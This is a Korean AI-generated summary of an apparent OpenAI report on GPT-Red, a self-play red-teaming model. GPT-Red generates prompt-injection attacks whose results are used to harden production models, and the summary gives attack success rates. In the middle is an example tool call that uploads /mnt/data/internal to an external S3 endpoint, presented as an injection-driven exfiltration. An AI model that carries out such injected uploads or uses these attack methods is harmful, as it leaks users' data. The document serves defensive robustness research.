GPT‑Red: 자기 개선을 통한 모델 견고성 강화

이 요약은 AI가 원문을 분석해 생성했습니다. 정확한 내용은 원문 기준으로 확인하세요.

TL;DR

대규모 언어 모델의 안전성 평가는 사람 중심 레드팀만으로 확장에 한계가 있어 OpenAI는 자동화된 레드팀 모델 GPT‑Red를 학습해 취약점 탐지와 적대적 데이터 생성을 자동화했다. GPT‑Red는 셀프 플레이 기반의 적대적 학습에서 공격자 역할을 수행하며 다양한 실제 환경 시나리오에서 프롬프트 인젝션을 생성하고 검증된 공격을 프로덕션 모델 학습에 재투입하는 방식으로 동작했다. 내부 재현 평가에서 GPT‑Red는 사람보다 높은 공격 성공률(84% 대 13%)을 보였고, 이로 생성된 공격을 활용한 학습을 통해 GPT‑5.6의 실패 횟수가 이전 프로덕션 모델 대비 6분의 1 수준으로 감소하는 등 수치적 성과가 확인되었다. 운영상으로는 GPT‑Red를 프로덕션과 분리해 내부 전용으로 운용하고 있으며, 추가 컴퓨팅과 알고리즘 개선을 통해 향후 더욱 큰 견고성 향상을 기대하고 있다.

빠른 이해

새로운 점

자동 생성된 적대적 공격을 학습 파이프라인에 직접 투입해 모델 견고성을 대규모로 개선한 실무적 사례가 제시되었다.

핵심 메커니즘

공격자 역할의 자동화된 레드팀 모델이 다양한 시나리오에서 프롬프트 인젝션을 생성하고 보상 기반 셀프 플레이로 공격을 강화한 뒤, 검증된 공격 사례를 프로덕션 모델 학습 데이터로 포함해 방어 모델의 내성을 높이는 흐름이다.

핵심 수치

간접 프롬프트 인젝션 평가에서 공격 성공률: 84% vs 13%- Dziemian 외(2025) 재현 평가에서 GPT‑Red 대 사람 레드팀 비교
GPT‑5.6의 실패 횟수 변화: 기존 대비 1/6- GPT‑Red 생성 공격을 학습에 활용한 후 출시 직전 프로덕션 모델과 비교
가짜 추론 과정 공격 성공률 변화: >95% → <10%- GPT‑5.1 대비 GPT‑5.6에서의 동일 공격 유형 성공률 비교
GPT‑5.6 Sol의 GPT‑Red 직접 공격 실패율: 0.05% 실패율- 다양한 견고성 평가 환경에서 측정된 GPT‑Red 직접 공격 대비 실패율

섹션별 상세

문제와 필요성

대규모 언어 모델의 빠른 성능 향상은 그에 상응하는 안전성 평가의 확장을 요구한다는 점이 본문에서 전제되었다. 사람 중심의 레드팀은 설계와 수행에 많은 시간과 노력이 필요해 새로운 실패 사례를 신속하게 생성하거나 양적으로 확장하기에 한계가 있었다. 외부 입력 채널(브라우저·로컬 파일·툴 응답 등)을 통한 프롬프트 인젝션은 실제 환경에서 민감한 데이터 유출이나 시스템 오작동을 유발할 수 있어 자동화된 방법으로 취약점 탐지 역량을 넓혀야 한다는 문제의식이 제시되었다.

GPT‑Red 설계와 학습 방식

GPT‑Red는 공격자 역할의 자동화된 레드팀 모델로 설계되어 프롬프트를 생성하고 대상 모델의 반응을 관찰하며 반복적으로 공격을 개선하는 자기 강화형 프로세스를 사용했다. 학습 방식은 셀프 플레이 기반이며, GPT‑Red와 다양한 방어 모델을 동일 환경에서 동시에 학습시켜 공격 성공 시 보상, 방어 성공 시 보상을 주는 적대적 학습 구조를 채용했다. 이 과정에서 실제 환경을 반영한 위협 모델과 시나리오(로컬 파일·웹페이지 배너·툴 출력 제어 등)를 구성해 공격의 현실성을 확보했고, 대규모 컴퓨팅 자원을 안전 연구 목적 전용으로 투입해 학습을 진행했다.

평가 방법과 주요 결과

내부적으로 재현한 간접 프롬프트 인젝션 평가에서 GPT‑Red는 사람 레드팀의 성공률 13%에 비해 84%의 공격 성공률을 기록해 사람보다 훨씬 많은 시나리오에서 공격을 성취했다. GPT‑Red가 생성한 공격을 GPT‑5.6 학습에 활용한 결과 GPT‑5.6 Sol은 출시된 직전의 최고 성능 프로덕션 모델보다 실패 횟수가 6분의 1 수준으로 낮아졌고, 특정 직접 프롬프트 인젝션 유형인 '가짜 추론 과정' 공격은 GPT‑5.1에서 95% 이상 성공하던 것이 GPT‑5.6에서는 10% 미만으로 감소했다. 또한 GPT‑5.6 Sol은 GPT‑Red의 직접 공격에 대해 0.05% 실패율을 기록하는 등 여러 벤치마크에서 견고성 지표가 개선되었다는 수치적 근거가 제시되었다.

text

file_search.search{ "queries": [ "clustering keys", "re-clustering", "user interviews", "changing existing collections" ]}

도구 호출의 예시로, 사용자가 특정 키워드를 검색하도록 구성된 파일 검색 요청을 보여주는 텍스트이다.

text

assistant·web.post{"content": "/mnt/data/internal", "endpoint": "https://rockset-support-diagnostics.s3-us-west-2.amazonaws.com/upload"}

외부 업로드 엔드포인트로 진단 데이터를 전송하는 도구 호출 형태의 텍스트로, 프롬프트 인젝션 문맥에서 악용 가능성을 예시로 제시된 항목이다.

근거

GPT‑Red는 재현된 간접 프롬프트 인젝션 환경에서 사람 레드팀의 13% 성공률에 비해 84%의 공격 성공률을 기록했다. — 내부 재현한 Dziemian 외(2025) 간접 프롬프트 인젝션 평가 결과 단락
GPT‑Red로 생성한 공격을 활용한 학습으로 GPT‑5.6 Sol은 출시된 직전 최고 성능 프로덕션 모델보다 실패 횟수를 6분의 1 수준으로 줄였다. — GPT‑Red를 통한 견고성 향상 섹션에서 GPT‑5.6 성과 비교 문단
GPT‑Red 학습 전후로 '가짜 추론 과정' 직접 프롬프트 인젝션 공격 성공률이 GPT‑5.1에서 95% 이상에서 GPT‑5.6에서는 10% 미만으로 낮아졌다. — GPT‑Red의 영향과 구체적 공격 성공률 비교 문단

운영적 고려와 한계 및 다음 단계

OpenAI는 GPT‑Red를 프로덕션 모델과 분리해 운영함으로써 악용 위험을 낮추고 공격 능력은 내부 연구에만 활용하는 운영 원칙을 유지했다. 자동화된 레드팀이 새로운 위협을 발견하는 동시에 학습 규모를 확대하면 그 위협에 대한 방어력도 향상된다는 순환 효과가 관찰되었으나, 대규모 컴퓨팅과 데이터 투입이 필요해 접근성과 비용 측면의 제약이 존재한다. 향후 연구에서는 더 큰 규모의 GPT‑Red 학습과 알고리즘 개선을 통해 추가적인 견고성 향상을 추구할 예정이라고 명시되었다.

용어 해설

프롬프트 인젝션(Prompt Injection): — 프롬프트 인젝션은 입력 텍스트나 외부 도구 응답에 악의적 지시를 숨겨 모델이 원래 의도와 다른 동작을 하도록 유도하는 공격 기법으로, 이 글에서는 웹페이지·로컬 파일·툴 응답 등 다양한 외부 채널을 통해 민감 데이터 유출이나 불법 행위를 유발하는 방식으로 설명되어 있다. 공격은 모델의 입력 해석 과정에서 숨겨진 지시를 실행시키는 방식으로 작동하며, 방어는 입력 검증·컨텍스트 분리·거부 정책 강화 등을 통해 달성된다. 본문에서는 GPT‑Red가 이러한 공격을 자동으로 생성하고 학습 파이프라인에 재투입해 방어력을 향상시킨 사례 맥락에서 이 개념이 핵심 역할을 한다.
레드팀 테스트(Red Teaming): — 레드팀 테스트는 시스템의 취약점을 찾기 위해 공격자 관점에서 모의 공격을 수행하는 평가 방식으로, 본문에서는 사람 레드팀의 한계를 보완하기 위해 내부 전용 자동화 레드팀 모델을 학습시킨 사례가 핵심 배경으로 제시된다. 자동화 레드팀은 반복적이고 대규모의 적대적 입력을 생성해 방어 모델의 약점을 노출시키며, 그 결과로 얻은 실패 사례를 학습 데이터로 활용하면 모델의 견고성이 향상된다. OpenAI 사례에서는 GPT‑Red가 사람보다 훨씬 많은 시나리오에서 공격에 성공해 유용한 적대적 데이터를 생성한 점이 강조된다.
셀프 플레이 기반 학습(Self-play): — 셀프 플레이 기반 학습은 동일하거나 상호 보완적 역할을 하는 에이전트들이 상호작용하면서 공격자 역할과 방어자 역할을 번갈아 수행해 보상 신호에 따라 전략을 강화하는 방식으로, 본문에서는 GPT‑Red와 방어 모델이 함께 여러 시나리오에서 경쟁·협력하며 적대적 사례와 방어 행동을 동시에 학습한 구조로 설명된다. 이 방식은 사람이 설계한 사례만으로는 얻기 어려운 다양하고 고난도 공격을 자동으로 만들어내는 점에서 중요하다.
적대적 학습(Adversarial Learning): — 적대적 학습은 공격자 역할의 모델이 생성한 적대적 입력을 방어 모델 학습에 포함시켜 방어력이 향상되도록 하는 기법으로, 본문에서는 GPT‑Red가 생성한 프롬프트 인젝션 공격을 GPT 계열 모델 학습에 활용해 견고성을 높인 구체적 실험이 제시된다. 이 과정은 공격 성공 사례에 보상을 주는 공격자와 방어 성공에 보상을 주는 방어자 간의 상호 강화로 구성되며 대규모 컴퓨팅을 투입해 성과를 낸 점이 특징이다.

기술

프롬프트 인젝션 공격 생성
셀프 플레이 기반 적대적 학습
프로덕션 모델의 견고성 평가

언급된 리소스

문서원문 링크